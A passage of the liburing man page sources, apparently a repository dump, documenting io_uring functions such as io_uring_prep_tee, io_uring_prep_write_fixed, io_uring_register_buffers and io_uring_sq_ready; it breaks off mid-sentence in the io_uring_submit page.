| .I splice_flags 38 | are modifier flags for the operation. See 39 | .BR splice (2) 40 | for the generic splice flags. 41 | 42 | If the 43 | .I fd_out 44 | descriptor, 45 | .B IOSQE_FIXED_FILE 46 | can be set in the SQE to indicate that. For the input file, the io_uring 47 | specific 48 | .B SPLICE_F_FD_IN_FIXED 49 | can be set in 50 | .I splice_flags 51 | and 52 | .I fd_in 53 | given as a registered file descriptor offset. 54 | 55 | This function prepares an async 56 | .BR splice (2) 57 | request. See that man page for details. 58 | 59 | .SH RETURN VALUE 60 | None 61 | .SH ERRORS 62 | The CQE 63 | .I res 64 | field will contain the result of the operation. See the related man page for 65 | details on possible values. Note that where synchronous system calls will return 66 | .B -1 67 | on failure and set 68 | .I errno 69 | to the actual error value, io_uring never uses 70 | .IR errno . 71 | Instead it returns the negated 72 | .I errno 73 | directly in the CQE 74 | .I res 75 | field. 76 | .SH SEE ALSO 77 | .BR io_uring_get_sqe (3), 78 | .BR io_uring_submit (3), 79 | .BR io_uring_register (2), 80 | .BR splice (2) 81 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_statx.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_statx 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_statx \- prepare a statx request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .B #include 13 | .B #include 14 | .B #include 15 | .PP 16 | .BI "void io_uring_prep_statx(struct io_uring_sqe *" sqe "," 17 | .BI " int " dirfd "," 18 | .BI " const char *" path "," 19 | .BI " int " flags "," 20 | .BI " unsigned " mask "," 21 | .BI " struct statx *" statxbuf ");" 22 | .fi 23 | .SH DESCRIPTION 24 | .PP 25 | The 26 | .BR io_uring_prep_statx (3) 27 | function prepares a statx request. The submission queue entry 28 | .I sqe 29 | is setup to use the directory file descriptor pointed to by 30 | .I dirfd 31 | to start a statx operation on the path identified by 32 | .I path 33 | and using the flags given in 34 | .I flags 35 | for the fields specified by 36 | .I mask 37 | and into the buffer located at 38 | .IR statxbuf . 39 | 40 | This function prepares an async 41 | .BR statx (2) 42 | request. See that man page for details. 43 | 44 | .SH RETURN VALUE 45 | None 46 | .SH ERRORS 47 | The CQE 48 | .I res 49 | field will contain the result of the operation. See the related man page for 50 | details on possible values. Note that where synchronous system calls will return 51 | .B -1 52 | on failure and set 53 | .I errno 54 | to the actual error value, io_uring never uses 55 | .IR errno . 56 | Instead it returns the negated 57 | .I errno 58 | directly in the CQE 59 | .I res 60 | field. 61 | .SH NOTES 62 | As with any request that passes in data in a struct, that data must remain 63 | valid until the request has been successfully submitted. It need not remain 64 | valid until completion. Once a request has been submitted, the in-kernel 65 | state is stable. Very early kernels (5.4 and earlier) required state to be 66 | stable until the completion occurred. Applications can test for this 67 | behavior by inspecting the 68 | .B IORING_FEAT_SUBMIT_STABLE 69 | flag passed back from 70 | .BR io_uring_queue_init_params (3). 71 | .SH SEE ALSO 72 | .BR io_uring_get_sqe (3), 73 | .BR io_uring_submit (3), 74 | .BR statx (2) 75 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_symlink.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_symlinkat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_sync_file_range.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_sync_file_range 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_sync_file_range \- prepare a sync_file_range request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_sync_file_range(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd "," 15 | .BI " unsigned " len "," 16 | .BI " __u64 " offset "," 17 | .BI " int " flags ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_sync_file_range (3) 23 | function prepares a sync_file_range request. The submission queue entry 24 | .I sqe 25 | is setup to use the file descriptor 26 | .I fd 27 | that should get 28 | .I len 29 | bytes synced started at offset 30 | .I offset 31 | and with modifier flags in the 32 | .I flags 33 | argument. 34 | 35 | This function prepares an async 36 | .BR sync_file_range (2) 37 | request. See that man page for details on the arguments. 38 | 39 | .SH RETURN VALUE 40 | None 41 | .SH ERRORS 42 | The CQE 43 | .I res 44 | field will contain the result of the operation. See the related man page for 45 | details on possible values. Note that where synchronous system calls will return 46 | .B -1 47 | on failure and set 48 | .I errno 49 | to the actual error value, io_uring never uses 50 | .IR errno . 51 | Instead it returns the negated 52 | .I errno 53 | directly in the CQE 54 | .I res 55 | field. 56 | .SH SEE ALSO 57 | .BR io_uring_get_sqe (3), 58 | .BR io_uring_submit (3), 59 | .BR sync_file_range (2) 60 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_tee.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_tee 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_tee \- prepare a tee request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_tee(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd_in "," 15 | .BI " int " fd_out "," 16 | .BI " unsigned int " nbytes "," 17 | .BI " unsigned int " splice_flags ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_tee (3) 23 | function prepares a tee request. The submission queue entry 24 | .I sqe 25 | is setup to use as input the file descriptor 26 | .I fd_in 27 | and as output the file descriptor 28 | .I fd_out 29 | duplicating 30 | .I nbytes 31 | bytes worth of data. 32 | .I splice_flags 33 | are modifier flags for the operation. See 34 | .BR tee (2) 35 | for the generic splice flags. 36 | 37 | If the 38 | .I fd_out 39 | descriptor, 40 | .B IOSQE_FIXED_FILE 41 | can be set in the SQE to indicate that. For the input file, the io_uring 42 | specific 43 | .B SPLICE_F_FD_IN_FIXED 44 | can be set and 45 | .I fd_in 46 | given as a registered file descriptor offset. 47 | 48 | This function prepares an async 49 | .BR tee (2) 50 | request. See that man page for details. 51 | 52 | .SH RETURN VALUE 53 | None 54 | .SH ERRORS 55 | The CQE 56 | .I res 57 | field will contain the result of the operation. See the related man page for 58 | details on possible values. Note that where synchronous system calls will return 59 | .B -1 60 | on failure and set 61 | .I errno 62 | to the actual error value, io_uring never uses 63 | .IR errno . 64 | Instead it returns the negated 65 | .I errno 66 | directly in the CQE 67 | .I res 68 | field. 69 | .SH SEE ALSO 70 | .BR io_uring_get_sqe (3), 71 | .BR io_uring_submit (3), 72 | .BR io_uring_register (2), 73 | .BR splice (2), 74 | .BR tee (2) 75 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_timeout_remove.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_timeout_update.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_unlink.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_unlinkat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_write.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_write 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_write \- prepare I/O write request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_write(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd "," 14 | .BI " const void *" buf "," 15 | .BI " unsigned " nbytes "," 16 | .BI " __u64 " offset ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_prep_write (3) 22 | prepares an IO write request. The submission queue entry 23 | .I sqe 24 | is setup to use the file descriptor 25 | .I fd 26 | to start writing 27 | .I nbytes 28 | from the buffer 29 | .I buf 30 | at the specified 31 | .IR offset . 32 | 33 | On files that support seeking, if the offset is set to 34 | .BR -1 , 35 | the write operation commences at the file offset, and the file offset is 36 | incremented by the number of bytes written. See 37 | .BR write (2) 38 | for more details. Note that for an async API, reading and updating the 39 | current file offset may result in unpredictable behavior, unless access 40 | to the file is serialized. It is not encouraged to use this feature if it's 41 | possible to provide the desired IO offset from the application or library. 42 | 43 | On files that are not capable of seeking, the offset is ignored. 44 | 45 | After the write has been prepared, it can be submitted with one of the submit 46 | functions. 47 | 48 | .SH RETURN VALUE 49 | None 50 | .SH ERRORS 51 | The CQE 52 | .I res 53 | field will contain the result of the operation. See the related man page for 54 | details on possible values. Note that where synchronous system calls will return 55 | .B -1 56 | on failure and set 57 | .I errno 58 | to the actual error value, io_uring never uses 59 | .IR errno . 60 | Instead it returns the negated 61 | .I errno 62 | directly in the CQE 63 | .I res 64 | field. 65 | .SH SEE ALSO 66 | .BR io_uring_get_sqe (3), 67 | .BR io_uring_submit (3) 68 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_write_fixed.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_write 3 "February 13, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_write_fixed \- prepare I/O write request with registered buffer 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_write_fixed(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd ", 14 | .BI " const void *" buf "," 15 | .BI " unsigned " nbytes "," 16 | .BI " __u64 " offset "," 17 | .BI " int " buf_index ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_write_fixed (3) 23 | prepares an IO write request with a previously registered IO buffer. The 24 | submission queue entry 25 | .I sqe 26 | is setup to use the file descriptor 27 | .I fd 28 | to start writing 29 | .I nbytes 30 | from the buffer 31 | .I buf 32 | at the specified 33 | .I offset 34 | and with the buffer matching the registered index of 35 | .IR buf_index . 36 | 37 | This works just like 38 | .BR io_uring_prep_write (3) 39 | except it requires the use of buffers that have been registered with 40 | .BR io_uring_register_buffers (3). 41 | The 42 | .I buf 43 | and 44 | .I nbytes 45 | arguments must fall within a region specificed by 46 | .I buf_index 47 | in the previously registered buffer. The buffer need not be aligned with 48 | the start of the registered buffer. 49 | 50 | After the read has been prepared it can be submitted with one of the submit 51 | functions. 52 | 53 | .SH RETURN VALUE 54 | None 55 | .SH ERRORS 56 | The CQE 57 | .I res 58 | field will contain the result of the operation. See the related man page for 59 | details on possible values. Note that where synchronous system calls will return 60 | .B -1 61 | on failure and set 62 | .I errno 63 | to the actual error value, io_uring never uses 64 | .IR errno . 65 | Instead it returns the negated 66 | .I errno 67 | directly in the CQE 68 | .I res 69 | field. 70 | .SH SEE ALSO 71 | .BR io_uring_prep_write (3), 72 | .BR io_uring_register_buffers (3) 73 | -------------------------------------------------------------------------------- /liburing/man/io_uring_queue_exit.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2020 Jens Axboe 2 | .\" Copyright (C) 2020 Red Hat, Inc. 3 | .\" 4 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 5 | .\" 6 | .TH io_uring_queue_exit 3 "July 10, 2020" "liburing-0.7" "liburing Manual" 7 | .SH NAME 8 | io_uring_queue_exit \- tear down io_uring submission and completion queues 9 | .SH SYNOPSIS 10 | .nf 11 | .B #include 12 | .PP 13 | .BI "void io_uring_queue_exit(struct io_uring *" ring ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | .BR io_uring_queue_exit (3) 18 | will release all resources acquired and initialized by 19 | .BR io_uring_queue_init (3). 20 | It first unmaps the memory shared between the application and the kernel and then closes the io_uring file descriptor. 21 | .SH RETURN VALUE 22 | None 23 | .SH SEE ALSO 24 | .BR io_uring_setup (2), 25 | .BR mmap (2), 26 | .BR io_uring_queue_init (3) 27 | -------------------------------------------------------------------------------- /liburing/man/io_uring_queue_init_params.3: -------------------------------------------------------------------------------- 1 | io_uring_queue_init.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_register_buffers.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_buffers 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_buffers \- register buffers for fixed buffer operations 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_register_buffers(struct io_uring *" ring ", 13 | .BI " const struct iovec *" iovecs ", 14 | .BI " unsigned " nr_iovecs ");" 15 | .PP 16 | .BI "int io_uring_register_buffers_sparse(struct io_uring *" ring ", 17 | .BI " unsigned " nr_iovecs ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_register_buffers (3) 23 | function registers 24 | .I nr_iovecs 25 | number of buffers defined by the array 26 | .I iovecs 27 | belonging to the 28 | .IR ring . 29 | 30 | The 31 | .BR io_uring_register_buffers_sparse (3) 32 | function registers 33 | .I nr_iovecs 34 | empty buffers belonging to the 35 | .IR ring . 36 | These buffers must be updated before use, using eg 37 | .BR io_uring_register_buffers_update_tag (3). 38 | 39 | After the caller has registered the buffers, they can be used with one of the 40 | fixed buffers functions. 41 | 42 | Registered buffers is an optimization that is useful in conjunction with 43 | .B O_DIRECT 44 | reads and writes, where it maps the specified range into the kernel once when 45 | the buffer is registered rather than doing a map and unmap for each IO 46 | every time IO is performed to that region. Additionally, it also avoids 47 | manipulating the page reference counts for each IO. 48 | 49 | .SH RETURN VALUE 50 | On success 51 | .BR io_uring_register_buffers (3) 52 | and 53 | .BR io_uring_register_buffers_sparse (3) 54 | return 0. On failure they return 55 | .BR -errno . 56 | .SH SEE ALSO 57 | .BR io_uring_get_sqe (3), 58 | .BR io_uring_unregister_buffers (3), 59 | .BR io_uring_register_buf_ring (3), 60 | .BR io_uring_prep_read_fixed (3), 61 | .BR io_uring_prep_write_fixed (3) 62 | -------------------------------------------------------------------------------- /liburing/man/io_uring_register_eventfd.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_eventfd 3 "April 16, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_eventfd \- register an eventfd with a ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_register_eventfd(struct io_uring *" ring "," 13 | .BI " int " fd ");" 14 | .PP 15 | .BI "int io_uring_register_eventfd_async(struct io_uring *" ring "," 16 | .BI " int " fd ");" 17 | .PP 18 | .BI "int io_uring_unregister_eventfd(struct io_uring *" ring ");" 19 | .fi 20 | .SH DESCRIPTION 21 | .PP 22 | .BR io_uring_register_eventfd (3) 23 | registers the eventfd file descriptor 24 | .I fd 25 | with the ring identified by 26 | .IR ring . 27 | 28 | Whenever completions are posted to the CQ ring, an eventfd notification 29 | is generated with the registered eventfd descriptor. If 30 | .BR io_uring_register_eventfd_async (3) 31 | is used, only events that completed out-of-line will trigger a notification. 32 | 33 | It notifications are no longer desired, 34 | .BR io_uring_unregister_eventfd (3) 35 | may be called to remove the eventfd registration. No eventfd argument is 36 | needed, as a ring can only have a single eventfd registered. 37 | 38 | .SH NOTES 39 | While io_uring generally takes care to avoid spurious events, they can occur. 40 | Similarly, batched completions of CQEs may only trigger a single eventfd 41 | notification even if multiple CQEs are posted. The application should make no 42 | assumptions on number of events being available having a direct correlation to 43 | eventfd notifications posted. An eventfd notification must thus only be treated 44 | as a hint to check the CQ ring for completions. 45 | .SH RETURN VALUE 46 | Returns 0 on success, or 47 | or 48 | .BR -errno 49 | on error. 50 | .SH SEE ALSO 51 | .BR eventfd (2) 52 | -------------------------------------------------------------------------------- /liburing/man/io_uring_register_eventfd_async.3: -------------------------------------------------------------------------------- 1 | io_uring_register_eventfd.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_register_files.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_files 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_files \- register file descriptors 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_register_files(struct io_uring *" ring "," 13 | .BI " const int *" files "," 14 | .BI " unsigned " nr_files ");" 15 | .PP 16 | .BI "int io_uring_register_files_sparse(struct io_uring *" ring "," 17 | .BI " unsigned " nr_files ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_register_files (3) 23 | function registers 24 | .I nr_files 25 | number of file descriptors defined by the array 26 | .I files 27 | belonging to the 28 | .I ring 29 | for subsequent operations. 30 | 31 | The 32 | .BR io_uring_register_files_sparse (3) 33 | function registers an empty file table of 34 | .I nr_files 35 | number of file descriptors. The sparse variant is available in kernels 5.19 36 | and later. 37 | 38 | Registering a file table is a prerequisite for using any request that uses 39 | direct descriptors. 40 | 41 | .SH RETURN VALUE 42 | On success 43 | .BR io_uring_register_files (3) 44 | and 45 | .BR io_uring_register_files_sparse (3) 46 | return 0. On failure they return 47 | .BR -errno . 48 | .SH SEE ALSO 49 | .BR io_uring_get_sqe (3), 50 | .BR io_uring_unregister_files (3) 51 | -------------------------------------------------------------------------------- /liburing/man/io_uring_register_iowq_aff.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_iowq_aff 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_iowq_aff \- register async worker CPU affinities 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "int io_uring_register_iowq_aff(struct io_uring *" ring "," 14 | .BI " size_t " cpusz "," 15 | .BI " const cpu_set_t *" mask "); 16 | .PP 17 | .BI "void io_uring_unregister_iowq_aff(struct io_uring *" ring ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_register_iowq_aff (3) 23 | function registers a set of CPU affinities to be used by the io_uring async 24 | workers. By default, io_uring async workers are allowed to run on any CPU in 25 | the system. If this function is called with 26 | .I ring 27 | set to the ring in question and 28 | .I mask 29 | set to a pointer to a 30 | .B cpu_set_t 31 | value and 32 | .I cpusz 33 | set to the size of the CPU set, then async workers will only be allowed to run 34 | on the CPUs specified in the mask. Existing workers may need to hit a schedule 35 | point before they are migrated. 36 | 37 | For unregistration, 38 | .BR io_uring_unregister_iowq_aff (3) 39 | may be called to restore CPU affinities to the default. 40 | 41 | .SH RETURN VALUE 42 | Returns 43 | .B 0 44 | on success, or any of the following values in case of error. 45 | .TP 46 | .B -EFAULT 47 | The kernel was unable to copy the memory pointer to by 48 | .I mask 49 | as it was invalid. 50 | .TP 51 | .B -ENOMEM 52 | The kernel was unable to allocate memory for the new CPU mask. 53 | .TP 54 | .B -EINVAL 55 | .I cpusz 56 | or 57 | .I mask 58 | was NULL/0, or any other value specified was invalid. 59 | .SH SEE ALSO 60 | .BR io_uring_queue_init (3), 61 | .BR io_uring_register (2) 62 | -------------------------------------------------------------------------------- /liburing/man/io_uring_register_iowq_max_workers.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_iowq_max_workers 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_iowq_max_workers \- modify the maximum allowed async workers 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_register_iowq_max_workers(struct io_uring *" ring "," 13 | .BI " unsigned int *" values ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | io_uring async workers are split into two types: 18 | .TP 19 | .B Bounded 20 | These workers have a bounded execution time. Examples of that are filesystem 21 | reads, which normally complete in a relatively short amount of time. In case 22 | of disk failures, they are still bounded by a timeout operation that will 23 | abort them if exceeded. 24 | .TP 25 | .B Unbounded 26 | Work items here may take an indefinite amount of time to complete. Examples 27 | include doing IO to sockets, pipes, or any other non-regular type of file. 28 | 29 | .PP 30 | By default, the amount of bounded IO workers is limited to how many SQ entries 31 | the ring was setup with, or 4 times the number of online CPUs in the system, 32 | whichever is smaller. Unbounded workers are only limited by the process task 33 | limit, as indicated by the rlimit 34 | .B RLIMIT_NPROC 35 | limit. 36 | 37 | This can be modified by calling 38 | .B io_uring_register_iowq_max_workers 39 | with 40 | .I ring 41 | set to the ring in question, and 42 | .I values 43 | pointing to an array of two values. The first element should contain the number 44 | of desired bounded workers, and the second element should contain the number 45 | of desired unbounded workers. These are both maximum values, io_uring will 46 | not maintain a high count of idle workers, they are reaped when they are not 47 | necessary anymore. 48 | 49 | If called with both values set to 0, the existing values are returned. 50 | 51 | .SH RETURN VALUE 52 | Returns 53 | .B 0 54 | on success, with 55 | .I values 56 | containing the previous values for the settings. On error, any of the following 57 | may be returned. 58 | .TP 59 | .B -EFAULT 60 | The kernel was unable to copy the memory pointer to by 61 | .I values 62 | as it was invalid. 63 | .TP 64 | .B -EINVAL 65 | .I values 66 | was 67 | .B NULL 68 | or the new values exceeded the maximum allowed value. 69 | .SH SEE ALSO 70 | .BR io_uring_queue_init (3), 71 | .BR io_uring_register (2) 72 | -------------------------------------------------------------------------------- /liburing/man/io_uring_register_ring_fd.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_register_ring_fd 3 "March 11, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_register_ring_fd \- register a ring file descriptor 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_register_ring_fd(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | .BR io_uring_register_ring_fd (3) 17 | registers the file descriptor of the ring. 18 | 19 | Whenever 20 | .BR io_uring_enter (2) 21 | is called to submit request or wait for completions, the kernel must grab a 22 | reference to the file descriptor. If the application using io_uring is threaded, 23 | the file table is marked as shared, and the reference grab and put of the file 24 | descriptor count is more expensive than it is for a non-threaded application. 25 | 26 | Similarly to how io_uring allows registration of files, this allow registration 27 | of the ring file descriptor itself. This reduces the overhead of the 28 | .BR io_uring_enter (2) 29 | system call. 30 | 31 | If an application using liburing is threaded, then an application should call 32 | this function to register the ring descriptor when a ring is set up. See NOTES 33 | for restrictions when a ring is shared. 34 | 35 | .SH NOTES 36 | When the ring descriptor is registered, it is stored internally in the 37 | .I struct io_uring 38 | structure. For applications that share a ring between threads, for example 39 | having one thread do submits and another reap events, then this optimization 40 | cannot be used as each thread may have a different index for the registered 41 | ring fd. 42 | .SH RETURN VALUE 43 | Returns 1 on success, indicating that one file descriptor was registered, 44 | or 45 | .BR -errno 46 | on error. 47 | .SH SEE ALSO 48 | .BR io_uring_unregister_ring_fd (3), 49 | .BR io_uring_register_files (3) 50 | -------------------------------------------------------------------------------- /liburing/man/io_uring_sq_ready.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_sq_ready "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_sq_ready \- number of unconsumed or unsubmitted entries in the SQ ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "unsigned io_uring_sq_ready(const struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_sq_ready (3) 18 | function retuns the number of unconsumed (if SQPOLL) or unsubmitted entries 19 | that exist in the SQ ring belonging to the 20 | .I ring 21 | param. 22 | 23 | Usage of this function only applies if the ring has been setup with 24 | .B IORING_SETUP_SQPOLL, 25 | where request submissions, and hence consumption from the SQ ring, happens 26 | through a polling thread. 27 | 28 | .SH RETURN VALUE 29 | Returns the number of unconsumed or unsubmitted entries in the SQ ring. 30 | .SH SEE ALSO 31 | .BR io_uring_cq_ready (3) 32 | -------------------------------------------------------------------------------- /liburing/man/io_uring_sq_space_left.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_sq_space-left "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_sq_space_left \- free space in the SQ ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "unsigned io_uring_sq_space_left(const struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_sq_space_left (3) 18 | function retuns how much space is left in the SQ ring belonging to the 19 | .I ring 20 | param. 21 | 22 | .SH RETURN VALUE 23 | Returns the number of availables entries in the SQ ring. 24 | .SH SEE ALSO 25 | .BR io_uring_sq_ready (3) 26 | -------------------------------------------------------------------------------- /liburing/man/io_uring_sqe_set_data.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_sqe_set_data 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_sqe_set_data \- set user data for submission queue event 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_sqe_set_data(struct io_uring_sqe *" sqe "," 13 | .BI " void *" user_data ");" 14 | .BI " 15 | .BI "void io_uring_sqe_set_data64(struct io_uring_sqe *" sqe "," 16 | .BI " __u64 " data ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_sqe_set_data (3) 22 | function stores a 23 | .I user_data 24 | pointer with the submission queue entry 25 | .IR sqe . 26 | 27 | The 28 | .BR io_uring_sqe_set_data64 (3) 29 | function stores a 64-bit 30 | .I data 31 | value with the submission queue entry 32 | .IR sqe . 33 | 34 | After the caller has requested a submission queue entry (SQE) with 35 | .BR io_uring_get_sqe (3) , 36 | they can associate a data pointer or value with the SQE. Once the completion 37 | arrives, the function 38 | .BR io_uring_cqe_get_data (3) 39 | or 40 | .BR io_uring_cqe_get_data64 (3) 41 | can be called to retrieve the data pointer or value associated with the 42 | submitted request. 43 | 44 | .SH RETURN VALUE 45 | None 46 | .SH SEE ALSO 47 | .BR io_uring_get_sqe (3), 48 | .BR io_uring_cqe_get_data (3) 49 | -------------------------------------------------------------------------------- /liburing/man/io_uring_sqe_set_data64.3: -------------------------------------------------------------------------------- 1 | io_uring_sqe_set_data.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_sqring_wait.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_sqring_wait "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_sqring_wait \- wait for free space in the SQ ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_sqring_wait(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The function 17 | .BR io_uring_sqring_wait (3) 18 | allows the caller to wait for space to free up in the SQ ring belonging to the 19 | .I ring 20 | param, which happens when the kernel side thread 21 | has consumed one or more entries. If the SQ ring is currently non-full, 22 | no action is taken. 23 | 24 | This feature can only be used when the ring has been setup with 25 | .B IORING_SETUP_SQPOLL 26 | and hence is using an offloaded approach to request submissions. 27 | 28 | .SH RETURN VALUE 29 | On success it returns the free space. If the kernel does not support the 30 | feature, -EINVAL is returned. 31 | .SH SEE ALSO 32 | .BR io_uring_submit (3), 33 | .BR io_uring_wait_cqe (3), 34 | .BR io_uring_wait_cqes (3) 35 | -------------------------------------------------------------------------------- /liburing/man/io_uring_submit.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_submit 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_submit \- submit requests to the submission queue 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_submit(struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_submit (3) 18 | function submits the next events to the submission queue belonging to the 19 | .IR ring . 20 | 21 | After the caller retrieves a submission queue entry (SQE) with 22 | .BR io_uring_get_sqe 